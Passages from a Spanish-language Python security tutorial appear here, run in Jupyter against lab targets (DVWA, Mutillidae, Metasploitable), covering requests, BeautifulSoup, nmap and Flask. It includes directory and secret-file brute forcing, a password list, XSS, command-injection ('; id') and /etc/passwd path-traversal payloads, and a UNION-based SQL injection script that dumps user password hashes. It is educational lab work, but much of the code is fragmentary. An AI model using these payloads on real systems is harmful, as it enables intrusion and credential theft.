url = '[Link]
ip = domain_to_ip(url)
332
In [90]:
checks, labels = evaluate_security_check(url, ip)
plot_security_checks(checks, labels)
333
Request
Si hay una librería que todo analista de ciberseguridad debería dominar, esa es requests. Requests es como
tener una consola galáctica que te permite hablar con cualquier sitio web, puedes preguntar cosas, revisar
headers, inspeccionar su estado, leer su contenido, y hasta detectar señales de ataque o configuraciones
peligrosas.
Es simple, humana, y poderosa.... así que en este capítulo veremos cómo usar requests con ojos de
seguridad.
In [95]:
import requests
url = "[Link]
resp = [Link](url)
print("Status:", resp.status_code)
print("\n---HEADERS---\n")
for k,v in [Link]():
print(k,":",v)
Status: 200
---HEADERS---
Accept-Ranges : bytes
Content-Type : text/html
ETag : "bc2473a18e003bdb249eba5ce893033f:1760028122.592274"
Last-Modified : Thu, 09 Oct 2025 16:42:02 GMT
Vary : Accept-Encoding
Content-Encoding : gzip
Content-Length : 363
Cache-Control : max-age=86000
Date : Sun, 30 Nov 2025 04:16:30 GMT
Connection : keep-alive
Alt-Svc : h3=":443"; ma=93600
334
Tabla: Encabezados HTTP Relevantes para Seguridad
Estas cabeceras ayudan a proteger contra XSS, Clickjacking, MITM, inyecciones y ataques comunes.
Estos son los códigos que [Link]() te devuelve al consultar un sitio. Son útiles para investigar,
pentesting, OSINT, detección de WAF, etc.
In [98]:
import requests
url = "[Link]
resp = [Link](url)
techs = ["nginx", "apache", "php", "[Link]", "django", "laravel"]
server = [Link]("Server", "").lower()
335
powered = [Link]("X-Powered-By", "").lower()
In [99]:
def check_header(url, header):
try:
resp = [Link](url)
return header in [Link]
except:
return False
headers_to_check = [
"Strict-Transport-Security",
"Content-Security-Policy",
"X-Frame-Options",
"X-XSS-Protection",
"Referrer-Policy"
]
for h in headers_to_check:
print(h, "-->", check_header(url, h))
In [100]:
resp = [Link]("[Link] allow_redirects=True)
for h in [Link]:
print(h.status_code, "->", [Link])
print("Final:", [Link])
336
Final: [Link]
In [101]:
subs = ["admin", "panel", "test", "dev", "staging", "old"]
domain = "[Link]"
In [103]:
resp = [Link]("[Link]
waf_signals = ["cf-ray", "sucuri", "incapsula", "bigip", "akamai", "mod_security"]
337
Requests para detectar Malware en la página (heurística
simple)
Los sitios comprometidos muchas veces contienen: iframes ocultos , scripts con URL raras , dominios
extraños. No es un scanner profesional, pero es un muy buen detector rápido.
In [107]:
malicious_words = ["base64", "eval(", "unescape(", "crypto", "payload", "malware"]
content = [Link]("[Link]
[-] OK
[-] OK
[-] OK
[-] OK
[-] OK
[-] OK
In [108]:
def domain_alive(url):
try:
return [Link](url, timeout=3).status_code < 500
except:
return False
domain_alive(url)
Out[108]:
False
In [109]:
import requests
338
url = base_url + path
try:
r = [Link](url, timeout=3)
if r.status_code not in [404]:
print(f"[{r.status_code}] -> {url}")
except:
pass
wordlist = [
"admin/", "phpmyadmin/", "test/", "uploads/", "dvwa/",
"mutillidae/", "webdav/", "cgi-bin/", "config/", "backup/",
]
discover_paths(base_url, wordlist)
In [115]:
def discover_files(base_url, files):
for f in files:
url = base_url + f
try:
r = [Link](url, timeout=3)
if r.status_code == 200:
print(f"[FOUND] {url}")
except:
pass
files = [
".env", ".git/config", "[Link]",
"[Link]","[Link]","mutillidae/[Link]",
"[Link]", "[Link]", "[Link]", "[Link]",
]
base_url = "[Link] # Cambia por tu Metasploitable
discover_files(base_url, files)
[FOUND] [Link]
[FOUND] [Link]
339
Crawler simple (recorre links dentro de la página)
Esto ya es nivel mini-spider que recorre todo el sitio, saca enlaces HTML, sirve para DVWA, Mutillidae y
páginas dinámicas.
In [116]:
from bs4 import BeautifulSoup
import requests
visited = set()
def crawl(url):
if url in visited:
return
[Link](url)
try:
r = [Link](url, timeout=3)
except:
return
print(f"[CRAWL] {url}")
for link in soup.find_all("a", href=True): # busca dentro del html tags con <a
href>
href = link['href']
if [Link]("/"):
href = url + href[1:]
if url in href: # limitar al mismo dominio
crawl(href)
crawl("[Link]
[CRAWL] [Link]
[CRAWL] [Link]
[CRAWL] [Link]
[CRAWL] [Link]
[CRAWL]
[Link]
[Link]
[CRAWL] [Link]
[CRAWL] [Link]
340
Brute Force de directorios con una wordlist externa
Uso típico en pentesting y puedes usar [Link] o [Link] para probar.
Descarga de diccionario:
In [117]:
!curl -L "[Link] -o
[Link]
In [118]:
import requests
brute_dirs("[Link] "[Link]")
[200] [Link]
[403] [Link]
[403] [Link]
[403] [Link]
[403] [Link]
[403] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[200] [Link]
[403] [Link]
[200] [Link]
[200] [Link]
341
Detectar formularios y endpoints POST
Esto es muy útil en Metasploitable (DVWA)
In [120]:
from bs4 import BeautifulSoup
import requests
def find_forms(url):
r = [Link](url)
soup = BeautifulSoup([Link], "[Link]")
find_forms("[Link]
In [123]:
panels = ["admin", "login", "user", "phpMyAdmin", "wp-admin"]
for p in panels:
url = f"[Link]
try:
r = [Link](url, timeout=3)
if r.status_code not in [404]:
print(f"[LOGIN PANEL] {url} ({r.status_code})")
except:
pass
Beautifulsoup
Imagina que el código html de una página es como un planeta lleno de estructuras:
342
● hologramas con mensajes (tablas)
● puertas con paneles de acceso (inputs)
Y tu eres un joven padawan Jedi del hacking y necesitas conocer este planeta para poder avanzar. pero
explorar ese planeta manualmente sería como caminar toda unas horas sin saber si habrá resultados....ahí
entra beautifulsoup.
beautifulsoup es como un droide astromecanico R2-D2, no pelea, no rompe nada, pero lee la estructura del
planeta por ti, abre mapas, identifica rutas, detecta paneles ocultos y te dice... por aquí hay un formulario
vulnerable, aquí hay una ruta que nadie debería ver, esta tabla revela datos importantes, este input podría
ser usado para xss, este parámetro podría tener sql injection ...es como tener a un Jedi viendo el codigo,
pero sin usar su sable, solo la fuerza.
343
texto: Toggle Security | url: ./[Link]?do=toggle-security&page=[Link]
texto: Setup/Reset the DB | url: [Link]
texto: Show Log | url: ./[Link]?page=[Link]
texto: Credits | url: ./[Link]?page=[Link]
texto: OWASP Top 10 | url: #
texto: A1 - Injection | url: [Link]
texto: SQLi - Extract Data | url:
texto: User Info | url: ./[Link]?page=[Link]
texto: SQLi - Bypass Authentication | url:
texto: Login | url: ./[Link]?page=[Link]
texto: SQLi - Insert Injection | url:
texto: Register | url: ./[Link]?page=[Link]
texto: Blind SQL via Timing | url:
texto: Login | url: ./[Link]?page=[Link]
texto: User Info | url: ./[Link]?page=[Link]
texto: SQLMAP Practice Target | url:
texto: View Someones Blog | url: ./[Link]?page=[Link]
texto: User Info | url: ./[Link]?page=[Link]
texto: HTML Injection (HTMLi) | url:
texto: Add to your blog | url: ?page=[Link]
texto: HTMLi via HTTP Headers | url:
texto: Site Footer | url: ./[Link]?page=[Link]
texto: HTTP Response Splitting (Hint: Difficult) | url:
texto: HTMLi Via DOM Injection | url:
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: HTMLi Via Cookie Injection | url:
texto: Capture Data Page | url: [Link]?page=[Link]
texto: Command Injection | url:
texto: DNS Lookup | url: ./[Link]?page=[Link]
texto: JavaScript Injection | url:
texto: Those "Back" Buttons | url: ./[Link]
texto: Password Generator | url:
./[Link]?page=[Link]&username=anonymous
texto: HTTP Parameter Pollution | url:
texto: Poll Question | url: ./[Link]?page=[Link]
texto: Cascading Style Injection | url:
texto: Set Background Color | url: ./[Link]?page=[Link]
texto: JavaScript Object Notation (JSON) Injection | url:
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: A2 - Cross Site Scripting (XSS) | url:
[Link]
texto: Reflected (First Order) | url:
texto: DNS Lookup | url: ./[Link]?page=[Link]
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: Text File Viewer | url: ./[Link]?page=[Link]
texto: User Info | url: ./[Link]?page=[Link]
texto: Set Background Color | url: ./[Link]?page=[Link]
texto: HTML5 Storage | url: ./[Link]?page=[Link]
texto: Capture Data Page | url: ./[Link]?page=[Link]
texto: Persistent (Second Order) | url:
texto: Add to your blog | url: ?page=[Link]
texto: View someone's blog | url: ?page=[Link]
texto: Show Log | url: ?page=[Link]
344
texto: DOM Injection | url:
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Via "Input" (GET/POST) | url:
texto: Add to your blog | url: ?page=[Link]
texto: View someone's blog | url: ?page=[Link]
texto: Show Log | url: ?page=[Link]
texto: Text File Viewer | url: ?page=[Link]
texto: DNS Lookup | url: ./[Link]?page=[Link]
texto: User Info | url: ?page=[Link]
texto: Missing HTTPOnly Attribute | url: ./[Link]
texto: Set Background Color | url: ./[Link]?page=[Link]
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: Via HTTP Headers | url:
texto: Browser Info | url: ./[Link]?page=[Link]
texto: Show Log | url: ./[Link]?page=[Link]
texto: Site Footer | url: ./[Link]?page=[Link]
texto: Those "BACK" Buttons | url: ./[Link]?page=[Link]
texto: Via Misconfiguration | url:
texto: Missing HTTPOnly Attribute | url: ./[Link]
texto: Against HTML 5 Storage | url:
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Against JSON | url:
texto: Pen Test Tool Lookup | url: ./[Link]?page=[Link]
texto: Via Cookie Injection | url:
texto: Capture Data Page | url: [Link]?page=[Link]
texto: A3 - Broken Authentication and Session Management | url:
[Link]
texto: Cookies | url: [Link]
texto: Login | url: ?page=[Link]
texto: A4 - Insecure Direct Object References | url:
[Link]
texto: Text File Viewer | url: [Link]?page=[Link]
texto: Source Viewer | url: [Link]?page=[Link]
texto: Credits | url: [Link]?page=[Link]
texto: Cookies | url: [Link]
texto: Arbitrary File Inclusion | url: [Link]?page=[Link]
texto: A5 - Cross Site Request Forgery (CSRF) | url:
[Link]
texto: Add to your blog | url: [Link]?page=[Link]
texto: Register User | url: ./[Link]?page=[Link]
texto: A6 - Security Misconfiguration | url:
[Link]
texto: Directory Browsing | url: [Link]?page=[Link]
texto: GET for POST | url: ./[Link]?page=[Link]
texto: A7 - Insecure Cryptographic Storage | url:
[Link]
texto: User Info | url: [Link]?page=[Link]
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: A8 - Failure to Restrict URL Access | url:
[Link]
texto: "Secret" Administrative Pages | url:
[Link]?page=[Link]
texto: [Link] | url: [Link]
345
texto: A9 - Insufficient Transport Layer Protection | url:
[Link]
texto: Login | url: ?page=[Link]
texto: User Info | url: ?page=[Link]
texto: A10 - Unvalidated Redirects and Forwards | url:
[Link]
texto: Credits | url: ?page=[Link]
texto: Setup/reset the DB (Disabled: Not Admin) | url: #
texto: Others | url: #
texto: OWASP 2007 A3 - Malicious File Execution | url:
[Link]
texto: Text File Viewer | url: ?page=[Link]
texto: Source Viewer | url: ?page=[Link]
texto: OWASP 2007 A6 - Information Leakage and Improper Error Handling | url:
[Link]
texto: Cache Control | url: [Link]
texto: X-Powered-By HTTP Header | url: [Link]
texto: HTML/JavaScript Comments | url: [Link]
texto: Click-Jacking | url: [Link]?page=[Link]
texto: Cross-Site Framing (Third-Party Framing) | url: [Link]
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Denial of Service | url:
texto: Text File Viewer | url: ?page=[Link]
texto: Show Web Log | url: ?page=[Link]
texto: JavaScript "Security" | url:
texto: Login | url: [Link]?page=[Link]
texto: Add to your blog | url: [Link]?page=[Link]
texto: HTML5 Storage | url: [Link]?page=[Link]
texto: Data Capture Pages | url:
texto: Data Capture | url: [Link]?page=[Link]
texto: View Captured Data | url: [Link]?page=[Link]
texto: Documentation | url: #
texto: Change Log | url: [Link]?page=[Link]
texto: Installation Instructions | url: [Link]?page=[Link]
texto: Installation Instructions: Windows 7 (PDF) | url:
/mutillidae/documentation/[Link]
texto: Listing of Vulnerabilities | url:
[Link]?page=documentation/[Link]
texto: How to Access Mutillidae over Virtual Box "Host Only" Network | url:
[Link]?page=documentation/[Link]
texto: Resources | url: #
texto: Bookmark Site | url:
texto: OWASP Top Ten | url: [Link]
texto: Samurai Web Testing Framework | url: [Link]
texto: Professional Web Application Developer Quality Assurance Pack | url:
[Link]
texto: Latest Version of Mutillidae | url:
[Link]
p-top-10
texto: Google Hacking Database | url: [Link]
texto: | url: [Link]
texto: these Mozilla Add-ons | url:
[Link]
346
texto: @webpwnized | url: [Link]
texto: MutillidaeChannel | url: [Link]
texto: Irongeek | url: [Link]
texto: Latest Version | url:
[Link]
p-top-10
texto: Installation Instructions | url: ./[Link]?page=[Link]
texto: Usage Instructions | url: ./[Link]?page=[Link]
texto: Get rid of those pesky PHP errors | url: ./[Link]?page=[Link]
texto: Change Log | url: ./[Link]?page=[Link]
texto: Notes | url: ./[Link]?page=[Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: | url: [Link]
texto: Mutillidae | url:
[Link]
p-top-10
texto: Irongeek's Site | url: [Link]
347
itype = input_tag.get("type")
print("")
In [126]:
import requests
from bs4 import BeautifulSoup
# parsear el html
soup = BeautifulSoup([Link], "[Link]")
print(values)
348
['Core ControlsHomeLogin/RegisterToggle SecuritySetup/Reset the DBShow LogCreditsOWASP
Top 10A1 - InjectionSQLi - Extract DataUser InfoSQLi - Bypass AuthenticationLoginSQLi -
Insert InjectionRegisterBlind SQL via TimingLoginUser InfoSQLMAP Practice TargetView
Someones BlogUser InfoHTML Injection (HTMLi)Add to your blogHTMLi via HTTP HeadersSite
FooterHTTP Response Splitting (Hint: Difficult)HTMLi Via DOM InjectionHTML5
StorageHTMLi Via Cookie InjectionCapture Data PageCommand InjectionDNS LookupJavaScript
InjectionThose "Back" ButtonsPassword GeneratorHTTP Parameter PollutionPoll
QuestionCascading Style InjectionSet Background ColorJavaScript Object Notation (JSON)
InjectionPen Test Tool LookupA2 - Cross Site Scripting (XSS)Reflected (First Order)DNS
LookupPen Test Tool LookupText File ViewerUser InfoSet Background ColorHTML5
StorageCapture Data PagePersistent (Second Order)Add to your blogView someone\'s
blogShow LogDOM InjectionHTML5 StorageVia "Input" (GET/POST)Add to your blogView
someone\'s blogShow LogText File ViewerDNS LookupUser InfoMissing HTTPOnly AttributeSet
Background ColorPen Test Tool LookupVia HTTP HeadersBrowser InfoShow LogSite
FooterThose "BACK" ButtonsVia MisconfigurationMissing HTTPOnly AttributeAgainst HTML 5
StorageHTML5 StorageAgainst JSONPen Test Tool LookupVia Cookie InjectionCapture Data
PageA3 - Broken Authentication and Session ManagementCookiesLoginA4 - Insecure Direct
Object ReferencesText File ViewerSource ViewerCreditsCookiesArbitrary File InclusionA5
- Cross Site Request Forgery (CSRF)Add to your blogRegister UserA6 - Security
MisconfigurationDirectory BrowsingGET for POSTA7 - Insecure Cryptographic StorageUser
InfoHTML5 StorageA8 - Failure to Restrict URL Access"Secret" Administrative
PagesRobots.txtA9 - Insufficient Transport Layer ProtectionLoginUser InfoA10 -
Unvalidated Redirects and ForwardsCreditsSetup/reset the DB (Disabled: Not
Admin)OthersOWASP 2007 A3 - Malicious File ExecutionText File ViewerSource ViewerOWASP
2007 A6 - Information Leakage and Improper Error HandlingCache ControlX-Powered-By HTTP
HeaderHTML/JavaScript CommentsClick-JackingCross-Site Framing (Third-Party
Framing)HTML5 StorageDenial of ServiceText File ViewerShow Web LogJavaScript
"Security"LoginAdd to your blogHTML5 StorageData Capture PagesData CaptureView Captured
DataDocumentationChange LogInstallation InstructionsInstallation Instructions: Windows
7 (PDF)Listing of VulnerabilitiesHow to Access Mutillidae over Virtual Box "Host Only"
NetworkResourcesBookmark SiteOWASP Top TenSamurai Web Testing FrameworkProfessional Web
Application Developer Quality Assurance PackLatest Version of MutillidaeGoogle Hacking
DatabaseSite hacked...err...quality-tested with Samurai WTF, Backtrack, Firefox,
Burp-Suite, Netcat, andthese Mozilla Add-ons@webpwnizedMutillidaeChannelDeveloped by
Adrian "Irongeek" Crenshaw and Jeremy Druin', "Warning: include([Link])
[[Link]]: failed to open stream: No such file or directory
in/var/www/mutillidae/[Link] line469Warning: include() [[Link]]: Failed
opening '[Link]' for inclusion (include_path='.:/usr/share/php:/usr/share/pear')
in/var/www/mutillidae/[Link] line469"]
349
Python, por otro lado, es una herramienta versátil que permite automatizar interacciones con aplicaciones
web, enviar formularios, analizar respuestas, probar contraseñas, detectar errores de SQL, inspeccionar
formularios y rutas internas, y mucho más.
In [131]:
import requests
base_url = "[Link]
session = [Link]()
print("\ncookies activas:")
for c in [Link]:
print(f"{[Link]}: {[Link]}")
login exitoso
cookies activas:
PHPSESSID: 450b16d9287d3fa2c1d18eac346c2c90
security: high
350
# lista de passwords a probar
passwords = [
"123456",
"admin",
"password",
"qwerty",
"seba123"
]
username = "admin"
351
session = [Link]()
data = {
"username": "admin",
"password": "password",
"Login": "Login"
}
# se realiza el login
[Link](login_url, data=data)
<html xmlns="[Link]
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
# login
login_data = {
"username": "admin",
352
"password": "password",
"Login": "Login"
}
[Link]("[Link] data=login_data)
payload = "<script>alert('x')</script>"
r = [Link](url + payload)
# detección correcta
if payload in [Link]:
print("xss detectado correctamente")
else:
print("xss no detectado")
<html xmlns="[Link]
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<bod
xss detectado correctamente
353
payload = "'"
response = [Link](full_url)
# detección real
if any([Link]() in [Link]() for e in errores):
print("[*] SQLi detectado correctamente")
else:
print("SQLi no detectado")
Command Injection
In [181]:
import requests
from bs4 import BeautifulSoup
session = [Link]()
[Link]({"User-Agent": "Mozilla/5.0"})
[Link]("security", "low")
# login
[Link]("[Link] data={
"username": "admin",
"password": "password",
"Login": "Login"
})
# envía el comando
url = "[Link]
data = {
"ip": "[Link]; id", # comando id tiene resultado de uid= o gid=
"submit": "submit"
}
r = [Link](url, data=data)
354
if "uid=" in [Link] or "gid=" in [Link] : # filtro de salida response si tiene
resultado de id
print("[+] Vulnerable a Command Injection ")
if pre_tags:
print("=== salida del comando ===")
print(pre_tags[-1].get_text())
else:
print("no se encontró salida")
payloads = [
"../../../../../etc/passwd",
"../../../etc/passwd",
"../../etc/passwd",
]
lfi_ok = False
for p in payloads:
r = [Link](url + p)
## print([Link][:300]) # debug
if "root:x:" in [Link]:
print("[+] lfi detectado con:", p)
print([Link][:300])
lfi_ok = True
break
if not lfi_ok:
print("lfi no detectado")
355
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin
session = [Link]()
[Link]({"User-Agent": "Mozilla/5.0"})
[Link]("security", "low")
# login
[Link]("[Link] data={
"username": "admin",
"password": "password",
"Login": "Login"
})
url = "[Link]
In [183]:
r = [Link]("[Link]
print([Link])
PWNED
356
Mini SQLMAP - UNION-BASED
Este módulo lo que hará es detectar cuántas columnas necesita el UNION SELECT, luego confirmar la
inyección vía echo y extraer, versión de MySQL, base de datos actual, tablas de information_schema,
columnas, datos, todo aplicable directamente a DVWA.
Imagina esto para comenzar, es de noche, la casa está en silencio, la pantalla ilumina lo justo y al lado tuyo
hay un café tibio, ese que huele a vamos a romper algo… pero con estilo... Luego, Te sientas, abres DVWA,
y empieza el ritual del SQL Injection, un ritual antiguo, casi poético, como si uno estuviera conversando con
la base de datos sin que ella se diera cuenta.
Detectar columnas
Tomas el primer sorbo del café... en este juego, el servidor es como un mozo desconfiado, solo responde si
le hablas con el número correcto de vocablos. Así que pruebas:
Luego:
Ese momento es como cuando el café está perfecto...simplemente lo sabes... Acabas de descubrir que la
tabla habla con dos columnas. El servidor se abrió apenas un poquito.
In [280]:
import requests
import re
r = [Link](url, params=params)
txt = [Link]()
357
Lo probamos:
In [297]:
session = [Link]()
[Link]("security", "low")
[Link]("[Link] data={
"username": "admin",
"password": "password",
"Login": "Login"
})
url = "[Link]
param = "id"
RESULTADO FINAL: 2
y de pronto… aparece un AQUÍ, como una linterna en la noche... esa columna, la que brilló, esa es tu
micrófono abierto. Este será un canal directo al corazón de MySQL.
In [282]:
def detect_printable_column(url, param, session, columns):
print("[*] Detectando columna imprimible...")
for i in range(columns):
marker = f"XYZCOL{i}"
r = [Link](url, params=params)
358
txt = [Link]
if [Link]() in [Link]():
print(f"[+] La columna imprimible es la columna #{i+1}")
return i
Lo probamos:
In [299]:
printable = detect_printable_column(url, param, session, cols)
print("\nCOLUMNA IMPRIMIBLE->Index:" + str(printable))
COLUMNA IMPRIMIBLE->Index:0
función que extrae lo que DVWA imprime dentro de < pre >, y devuelve solo el First name.
In [300]:
import re
def extract_value_from_pre(html):
match = [Link](r"<pre>(.*?)</pre>", html, re.S | re.I)
if not match:
return None
contenido = [Link](1)
return None
Extraer versión
Ahora que sabes cuál columna habla, sueltas un mensaje disfrazado @@version es como pedirle el nombre
a alguien simple y directo.
In [301]:
359
def extract_version(url, param, session, columns, printable_idx):
print("[*] Extrayendo VERSION...")
payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append("@@version")
else:
payload_cols.append("2")
r = [Link](url, params=params)
version = extract_value_from_pre([Link])
if version:
print("[+] VERSIÓN encontrada:", version)
return version
La probamos:
In [302]:
version = extract_version(url, param, session, cols, printable)
print("\n--- VERSIÓN ---\n", version)
Extraer database
Otro sorbo... en este punto ya no preguntas, exiges con database() y MySQL, dócil, abre un poco más la
puerta y dice dvwa
In [259]:
def extract_database(url, param, session, columns, printable_idx):
print("\n[*] Extrayendo BASE DE DATOS...")
payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append("database()")
else:
payload_cols.append("2")
360
params = { param: payload, "Submit": "Submit" }
r = [Link](url, params=params)
db = extract_value_from_pre([Link])
if db:
print("[+] BASE DE DATOS encontrada:", db)
return db
lo probamos:
In [286]:
version = extract_database(url, param, session, cols, printable)
print("\n--- VERSIÓN ---\n", version)
Extraer tablas
Aquí ya estás entusiasmado, golpeando la mesa suavecito... ahora apuntas hacia information_schema, esa
biblioteca enorme donde MySQL guarda su autobiografía. Usas la bala mágica de group_concat(table_name)
y ves la lista de retorno con [guestbook , users] , ya sientes que estás en lo correcto.... La tabla users te
coquetea desde la distancia.
In [260]:
def extract_tables(url, param, session, columns, printable_idx, dbname):
print("\n[*] Extrayendo TABLAS...")
payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append(
f"(SELECT group_concat(table_name) FROM information_schema.tables WHERE
table_schema='{dbname}')"
)
else:
payload_cols.append("2")
r = [Link](url, params=params)
tables = extract_value_from_pre([Link])
361
if tables:
lista = [Link](",")
print("[+] TABLAS encontradas:", lista)
return lista
lo probamos:
In [288]:
version = extract_tables(url, param, session, cols, printable,"dvwa")
print("\n--- VERSIÓN ---\n", version)
Extraer columnas
Ahora sí. Este es el momento detectivesco usamos group_concat(column_name) sobre users y aparecen
una a una las columnas:
● user_id
● first_name
● last_name
● user
● password
● avatar
Ese instante es como cuando pruebas con un café nuevo y dices... Con esto sí que trabajo toda la noche.
In [291]:
def extract_columns(url, param, session, columns, printable_idx, table):
print(f"\n[*] Extrayendo COLUMNAS de {table}...")
payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append(
f"(SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_name='{table}')"
)
else:
payload_cols.append("2")
362
r = [Link](url, params=params)
cols = extract_value_from_pre([Link])
if cols:
lista = [Link](",")
print("[+] COLUMNAS encontradas:", lista)
return lista
lo probamos:
In [292]:
version = extract_columns(url, param, session, cols, printable,"users")
print("\n--- VERSIÓN ---\n", version)
Extraer usuarios
El final, La guinda de la torta, lo que todo aprendiz de Jedi hacker recuerda para siempre... armas la fórmula:
group_concat(user, 0x3a, password)
Y aparecen:
● admin:5f4dcc3b5aa765d61d8327deb882cf99
● gordonb:e99a18c428cb38d5f260853678922e03
● 1337:8d3533d75ae2c3966d7e0d4fcc69216b
● pablo:0d107d09f5bbe40cade3de5c71e9e9b7
● smithy:5f4dcc3b5aa765d61d8327deb882cf99
Te quedas mirando la pantalla unos segundos.... el café ya está frío y en silencio dices:
In [293]:
def extract_users(url, param, session, columns, printable_idx):
print("\n[*] Extrayendo USUARIOS...")
payload_cols = []
for i in range(columns):
if i == printable_idx:
payload_cols.append(
363
"(SELECT group_concat(user, 0x3a, password) FROM users)"
)
else:
payload_cols.append("2")
r = [Link](url, params=params)
data = extract_value_from_pre([Link])
if data:
lista = [Link](",")
print("[+] USUARIOS encontrados:")
for u in lista:
print(" -", u)
return lista
lo probamos:
In [294]:
version = extract_users(url, param, session, cols, printable)
print("\n--- VERSIÓN ---\n", version)
Nmap lib
Cuando alguien empieza en hacking, tarde o temprano llega a este punto donde necesitas ver el mapa.
Porque la red... igual que una ciudad... no se recorre a ciegas. Cada máquina es un edificio, cada puerto es
una puerta y cada servicio es alguien que te abre… o que te cierra el paso. Si no sabes qué existe, no sabes
qué atacar, qué proteger o qué ignorar.
Nmap no es solo un escáner de puertos.... es un cartógrafo digital, dibuja la topografía de hosts, servicios,
versiones, sistemas operativos y cualquier detalle que las máquinas de una red revelen sin darse cuenta.
364
Para seguridad ofensiva y defensiva, es casi un lenguaje universal:
link: [Link]
In [4]:
#instalacion
!pip install python-nmap
In [22]:
import nmap
scanner = [Link](nmap_search_path=[r"C:\Program Files (x86)\Nmap\[Link]"])
# versión nmap instalado en windows
print(scanner.nmap_version())
(7, 98)
In [21]:
import nmap
365
state = scanner[host][proto][port]['state']
print(f" - {proto} {port}: {state}")
host: [Link]
- tcp 21: open
- tcp 22: open
- tcp 23: open
- tcp 25: open
- tcp 53: open
- tcp 80: open
- tcp 111: open
- tcp 139: open
- tcp 445: open
- tcp 513: open
- tcp 514: open
- tcp 2049: open
- tcp 2121: open
- tcp 3306: open
- tcp 5432: open
- tcp 5900: open
- tcp 6000: open
- tcp 8009: open
In [16]:
import nmap
366
port 22: open
port 23: open
port 25: open
port 53: open
port 80: open
port 111: open
port 139: open
port 445: open
port 512: open
port 513: open
port 514: open
In [17]:
import nmap
scanner = [Link](nmap_search_path=[ r"C:\Program Files (x86)\Nmap\[Link]"])
# para windows
#scanner = [Link]() # descomentar para linux
ip = "[Link]"
367
Escaneo de un rango de hosts
Escanea varios hosts (una pequeña red), muy útil para mapear quién está activo y qué puertos expone cada
uno. Es básicamente un mini escaneo de red.
In [18]:
import nmap
host: [Link]
- 21: open
- 22: open
- 23: open
- 25: open
- 53: open
- 80: open
- 111: open
- 139: open
- 445: open
- 513: open
- 514: open
- 2049: open
- 2121: open
- 3306: open
- 5432: open
368
- 5900: open
- 6000: open
- 8009: open
In [20]:
import nmap
Flask
Flask es como ese amigo simple, buena onda y súper liviano que te ayuda a levantar una página web sin
hacerte preguntas raras, no te exige nada, no te juzga, no te pide sacrificar tu fin de semana y te dice...
amigo, pásame tu Pythoncito y yo te lo muestro en el navegador.
Es así de fácil, en el mundo de los frameworks web, Flask es como un gatito jedi que es pequeño, ligero,
elegante, no hace ruido, pero si lo dejas, te levanta un servidor web con la fuerza de Yoda. Mientras otros
frameworks son como 4 Death Stars y 18 subsistemas... Flask es más modesto, es una especie de Luke
Skywalker con una tunquita y un sable de luz que todavía brilla medio tímido.
369
Antes de empezar con Flask
En Jupyter, NO puedes usar [Link]() directamente porque bloqueas el kernel... en su lugar usarás:
Deberás ejecutar esa celda y dejarla corriendo...el servidor queda activo mientras la celda siga viva.
Para apagarlo deberás reiniciar el kernel del notebook o matar el proceso desde el administrador de tareas.
In [78]:
from flask import Flask
app = Flask(__name__)
@[Link]("/")
def home():
return "Hola, soy Flask corriendo desde Jupyter, de nada amigo..."
370
In [79]:
[Link](host="[Link]", port=5000, debug=False, use_reloader=False)
In [80]:
import os
[Link]("mscan/templates", exist_ok=True)
In [81]:
html = """
<!DOCTYPE html>
<html>
<head>
<title>Formulario Flask</title>
371
</head>
<body>
<h1>Buscar IP</h1>
<form action="/buscar" method="post">
<input type="text" name="ip" placeholder="Ingresa una IP">
<button type="submit">Enviar</button>
</form>
{% if resultado %}
<h3>Resultado:</h3>
<p>{{ resultado }}</p>
{% endif %}
</body>
</html>
"""
Creamos la App:
In [83]:
from flask import Flask, render_template, request
@[Link]("/")
def home():
return render_template("[Link]")
@[Link]("/buscar", methods=["POST"])
def buscar():
ip = [Link]("ip")
return render_template("[Link]", resultado=f"Buscaste: {ip}")
Corremos el proyecto:
372
Flask + Nmap
Esto es un Mini-Shocat básico, limpio, sin extras... servirá para entender el Episodio IV
Creemos la estructura:
In [86]:
import os
[Link]("mscan/templates", exist_ok=True)
In [87]:
html_nmap = """
<!DOCTYPE html>
<html>
<head>
<title>Mini Shocat</title>
</head>
<body>
<h1>Mini Shocat 1.0 </h1>
{% if resultado %}
<h3>Resultado del escaneo:</h3>
<pre>{{ resultado }}</pre>
{% endif %}
</body>
</html>
373
"""
Creamos la App
In [88]:
import nmap
from flask import Flask, render_template, request
import json
@[Link]("/")
def home():
return render_template("[Link]")
@[Link]("/scan", methods=["POST"])
def scan(): # Esto lo vimos en nmap anteriormente.
ip = [Link]("ip")
data = {}
In [89]:
[Link](host="[Link]", port=5000, debug=False, use_reloader=False)
374
WARNING: This is a development server. Do not use it in a production deployment. Use a
production WSGI server instead.
* Running on all addresses ([Link])
* Running on [Link]
* Running on [Link]
Press CTRL+C to quit
[Link] - - [01/Dec/2025 22:19:08] "POST /buscar HTTP/1.1" 404 -
[Link] - - [01/Dec/2025 22:19:12] "GET / HTTP/1.1" 200 -
[Link] - - [01/Dec/2025 22:22:28] "POST /scan HTTP/1.1" 200 -
Como dato extra, esto te servirá para ver como quedaron los directorios:
In [90]:
import os
375
print(f"{subindent}{f}")
mscan/
templates/
[Link]
Episodio IV - Shocat
Shocat nació en una de esas noches tranquilas donde uno juega a inventar cosas sin tomarse tan en serio,
miré la pantalla, tomé un sorbo de café y pensé.... ¿Y si hago mi propio Shodan… pero versión gatito jedi? y
